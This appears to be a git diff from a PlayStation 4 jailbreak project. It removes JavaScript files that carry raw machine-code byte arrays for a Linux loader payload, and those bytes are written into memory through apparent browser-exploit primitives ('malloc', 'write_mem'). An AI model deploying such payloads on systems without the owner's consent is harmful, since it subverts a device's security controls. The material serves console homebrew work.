0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,239,190,173,222,243,15,30,250,85,72,137,229,199,69,252,130,0,0,192,139,69,252,137,193,15,50,137,69,248,137,85,244,139,69,244,72,193,224,32,72,137,194,139,69,248,72,9,208,93,195,243,15,30,250,85,72,137,229,72,131,236,48,232,193,255,255,255,72,45,192,1,0,0,72,137,69,240,72,139,69,240,72,5,48,122,11,0,72,137,69,232,72,139,69,240,72,5,112,190,55,0,72,137,69,224,72,139,69,240,72,5,72,141,38,2,72,137,69,216,72,139,85,224,72,141,13,130,255,255,255,72,141,5,163,199,255,255,72,41,193,72,137,200,72,137,193,72,139,69,216,72,139,0,72,137,206,72,137,199,255,210,72,137,69,208,199,69,252,0,0,0,0,235,35,139,69,252,72,99,208,72,139,69,208,72,1,194,139,69,252,72,152,72,141,13,101,199,255,255,15,182,4,8,136,2,131,69,252,1,139,69,252,72,152,72,141,21,79,199,255,255,72,1,194,72,141,5,29,255,255,255,72,57,194,117,194,72,139,85,208,72,139,69,232,190,0,0,0,0,72,137,199,255,210,144,201,195,73,137,202,72,199,192,153,0,0,0,15,5,195,243,15,30,250,85,72,137,229,72,131,236,64,72,137,125,216,72,137,117,208,72,137,85,200,72,139,69,216,190,0,0,0,0,72,137,199,184,0,0,0,0,232,198,197,255,255,137,69,236,131,125,236,0,121,10,184,255,255,255,255,233,200,0,0,0,139,69,236,186,2,0,0,0,190,0,0,0,0,137,199,232,55,198,255,255,72,137,194,72,139,69,200,72,137,16,72,139,69,200,72,139,0,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,72,137,198,191,0,0,0,0,232,240,197,255,255,72,139,85,208,72,137,2,72,139,69,208,72,139,0,72,137,69,248,72,139,69,200,72,139,0,72,137,69,240,139,69,236,186,0,0,0,0,190,0,0,0,0,137,199,232,210,197,255,255,235,55,72,139,85,240,72,139,77,248,139,69,236,72,137,206,137,199,232,16,197,255,255,72,137,69,224,72,131,125,224,0,117,7,184,255,255,255,255,235,38,72,139,69,224,72,1,69,248,72,139,69,224,72,41,69,240,72,131,125,240,0,117,194,139,69,236,137,199,232,3,197,255,255,184,0,0,0,0,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,190,0,0,0,0,72,141,61,138,19,0,0,232,20,197,255,255,72,141,61,143,19,0,0,232,103,197,255,255,137,69,252,139,69,252,186,0,0,0,0,190,0,64,0,0,137,199,232,118,197,255,255,139,69,252,137,199,232,89,197,255,255,190,30,0,0,0,191,1,0,0,0,232,197,196,255,255,144,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,139,5,55,51,0,0,72,133,192,117,47,190,0,0,0,0,72,141,61,70,19,0,0,232,211,195,255,255,72,137,69,248,72,139,69,248,72,141,53,90,19,0,0,72,137,199,232,234,195,255,255,72,137,5,3,51,0,0,72,139,21,252,50,0,0,72,139,69,232,72,137,198,191,222,0,0,0,255,210,144,201,195,243,15,30,250,85,72,137,229,72,137,125,232,199,69,252,0,0,0,0,199,69,248,0,0,0,0,235,5,72,131,69,232,1,72,139,69,232,15,182,0,60,32,116,240,72,139,69,232,15,182,0,60,45,15,148,192,15,182,192,137,69,248,235,52,72,139,69,232,15,182,0,136,69,247,128,125,247,47,126,47,128,125,247,57,127,41,139,85,252,137,208,193,224,2,1,208,1,192,137,69,252,15,190,69,247,131,232,48,1,69,252,72,131,69,232,1,72,139,69,232,15,182,0,132,192,117,193,131,125,248,0,116,7,139,69,252,247,216,235,3,139,69,252,93,195,243,15,30,250,85,72,137,229,72,129,236,240,0,0,0,72,141,61,181,18,0,0,232,241,254,255,255,72,199,69,208,0,0,0,0,72,199,69,216,0,0,0,0,72,199,69,224,0,0,0,0,72,199,69,232,0,0,0,0,72,199,69,208,1,0,0,0,72,141,69,208,186,0,0,0,0,72,137,198,191,17,0,0,0,232,155,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,15,0,0,0,232,133,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,9,0,0,0,232,111,195,255,255,72,199,69,200,0,0,0,0,72,199,69,192,0,0,0,0,72,199,69,184,0,0,0,0,72,199,69,176,0,0,0,0,72,199,69,168,0,0,0,0,72,199,69,160,0,0,0,0,72,199,69,152,0,0,0,0,72,199,69,144,0,0,0,0,199,69,248,0,0,0,0,72,141,85,192,72,141,69,200,72,137,198,72,141,61,2,18,0,0,232,190,252,255,255,133,192,116,76,72,141,85,192,72,141,69,200,72,137,198,72,141,61,249,17,0,0,232,163,252,255,255,133,192,116,49,72,141,85,192,72,141,69,200,72,137,198,72,141,61,240,17,0,0,232,136,252,255,255,133,192,116,22,72,141,61,254,17,0,0,232,227,253,255,255,184,1,0,0,0,233,152,2,0,0,72,141,85,176,72,141,69,184,72,137,198,72,141,61,72,18,0,0,232,87,252,255,255,133,192,116,76,72,141,85,176,72,141,69,184,72,137,198,72,141,61,73,18,0,0,232,60,252,255,255,133,192,116,49,72,141,85,176,72,141,69,184,72,137,198,72,141,61,79,18,0,0,232,33,252,255,255,133,192,116,22,72,141,61,103,18,0,0,232,124,253,255,255,184,1,0,0,0,233,49,2,0,0,72,141,85,160,72,141,69,168,72,137,198,72,141,61,217,18,0,0,232,240,251,255,255,133,192,116,66,72,141,85,160,72,141,69,168,72,137,198,72,141,61,213,18,0,0,232,213,251,255,255,133,192,116,39,72,141,85,160,72,141,69,168,72,137,198,72,141,61,216,18,0,0,232,186,251,255,255,133,192,116,12,72,141,61,232,18,0,0,232,21,253,255,255,72,139,69,168,72,133,192,116,76,72,139,69,160,72,133,192,116,67,199,69,252,0,0,0,0,235,41,72,139,85,168,139,69,252,72,152,72,1,208,15,182,0,60,10,117,18,72,139,85,168,139,69,252,72,152,72,1,208,198,0,0,144,235,33,131,69,252,1,139,69,252,72,99,208,72,139,69,160,72,57,194,114,200,235,12,72,141,61,6,19,0,0,232,180,252,255,255,72,141,5,27,19,0,0,72,137,69,168,72,141,85,144,72,141,69,152,72,137,198,72,141,61,185,19,0,0,232,39,251,255,255,133,192,116,66,72,141,85,144,72,141,69,152,72,137,198,72,141,61,177,19,0,0,232,12,251,255,255,133,192,116,39,72,141,85,144,72,141,69,152,72,137,198,72,141,61,169,19,0,0,232,241,250,255,255,133,192,116,12,72,141,61,183,19,0,0,232,76,252,255,255,72,139,69,152,72,133,192,116,45,72,139,69,144,72,133,192,116,36,72,139,69,152,72,137,199,232,145,252,255,255,137,69,248,131,125,248,0,126,6,131,125,248,5,126,23,199,69,248,1,0,0,0,235,14,72,141,61,228,19,0,0,232,10,252,255,255,235,1,144,199,69,248,1,0,0,0,190,0,0,0,0,72,141,61,173,249,255,255,232,158,192,255,255,72,141,149,16,255,255,255,184,0,0,0,0,185,13,0,0,0,72,137,215,243,72,171,72,141,5,113,251,255,255,72,137,133,16,255,255,255,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,190,0,64,0,0,191,0,0,0,0,232,179,192,255,255,72,137,133,32,255,255,255,72,199,133,40,255,255,255,0,64,0,0,72,141,69,136,72,137,133,64,255,255,255,72,141,69,128,72,137,133,72,255,255,255,72,141,133,16,255,255,255,190,104,0,0,0,72,137,199,232,100,192,255,255,72,139,125,168,72,139,77,176,72,139,85,184,72,139,117,192,72,139,69,200,68,139,69,248,69,137,193,73,137,248,72,137,199,232,203,249,255,255,235,254,201,195,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,121,115,67,111,114,101,82,101,98,111,111,116,0,0,0,0,0,0,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,0,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,67,111,109,112,105,108,101,100,32,98,121,32,64,78,97,122,107,121,89,84,0,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,122,73,109,97,103,101,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,10,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,111,111,116,97,114,103,115,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,98,111,111,116,97,114,103,115,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0,0,0,0,0,0,0,0,112,97,110,105,99,61,48,32,99,108,111,99,107,115,111,117,114,99,101,61,116,115,99,32,114,97,100,101,111,110,46,100,112,109,61,48,32,99,111,110,115,111,108,101,61,116,116,121,48,32,99,111,110,115,111,108,101,61,116,116,121,83,48,44,49,49,53,50,48,48,110,56,32,99,111,110,115,111,108,101,61,117,97,114,116,56,50,53,48,44,109,109,105,111,51,50,44,48,120,100,48,51,52,48,48,48,48,32,118,105,100,101,111,61,72,68,77,73,45,65,45,49,58,49,57,50,48,120,49,48,56,48,45,50,52,64,54,48,32,99,111,110,115,111,108,101,98,108,97,110,107,61,48,32,110,101,116,46,105,102,110,97,109,101,115,61,48,32,100,114,109,46,100,101,98,117,103,61,48,0,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,118,114,97,109,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,118,114,97,109,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0]; - -window.mira_blob_2_len = 0x54a5; -window.mira_blob_2 = malloc(window.mira_blob_2_len); -write_mem(window.mira_blob_2, payload); diff --git a/900N/LinuxLoader2gb.bin b/900N/LinuxLoader2gb.bin new file mode 100644 index 0000000..5fcebad Binary files /dev/null and b/900N/LinuxLoader2gb.bin differ diff --git a/900N/LinuxLoader2gb.js b/900N/LinuxLoader2gb.js deleted file mode 100644 index 96f3b74..0000000 --- a/900N/LinuxLoader2gb.js +++ /dev/null @@ -1,5 +0,0 @@ -var payload = [233,169,61,0,0,243,15,30,250,85,72,137,229,72,129,236,208,1,0,0,72,137,189,72,254,255,255,137,181,68,254,255,255,72,137,149,56,254,255,255,72,137,141,48,254,255,255,199,69,252,0,0,0,0,72,141,85,252,72,139,133,72,254,255,255,185,0,0,0,0,190,0,0,0,0,72,137,199,232,231,1,0,0,72,133,192,116,7,184,0,0,0,0,235,89,72,199,133,80,254,255,255,168,1,0,0,139,69,252,72,141,149,80,254,255,255,190,0,0,0,0,137,199,232,205,1,0,0,133,192,116,7,184,0,0,0,0,235,45,139,69,244,131,248,1,119,32,72,139,133,120,255,255,255,72,137,193,72,139,149,56,254,255,255,72,139,133,48,254,255,255,72,137,214,72,137,199,255,209,139,69,252,72,152,201,195,243,15,30,250,85,72,137,229,72,131,236,16,72,137,125,248,137,117,244,139,117,244,72,139,69,248,185,0,0,0,0,186,0,0,0,0,72,137,199,232,31,255,255,255,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,137,117,224,72,199,69,248,0,0,0,0,72,139,69,232,137,193,72,141,85,248,72,139,69,224,72,137,198,137,207,232,11,1,0,0,72,139,69,248,201,195,102,46,15,31,132,0,0,0,0,0,15,31,64,0,72,199,192,3,0,0,0,73,137,202,15,5,15,130,30,1,0,0,195,72,199,192,5,0,0,0,73,137,202,15,5,15,130,11,1,0,0,195,72,199,192,6,0,0,0,73,137,202,15,5,15,130,248,0,0,0,195,72,199,192,11,0,0,0,73,137,202,15,5,15,130,229,0,0,0,195,72,199,192,37,0,0,0,73,137,202,15,5,15,130,210,0,0,0,195,72,199,192,240,0,0,0,73,137,202,15,5,15,130,191,0,0,0,195,72,199,192,160,1,0,0,73,137,202,15,5,15,130,172,0,0,0,195,72,199,192,199,1,0,0,73,137,202,15,5,15,130,153,0,0,0,195,72,199,192,221,1,0,0,73,137,202,15,5,15,130,134,0,0,0,195,72,199,192,222,1,0,0,73,137,202,15,5,15,130,115,0,0,0,195,72,199,192,28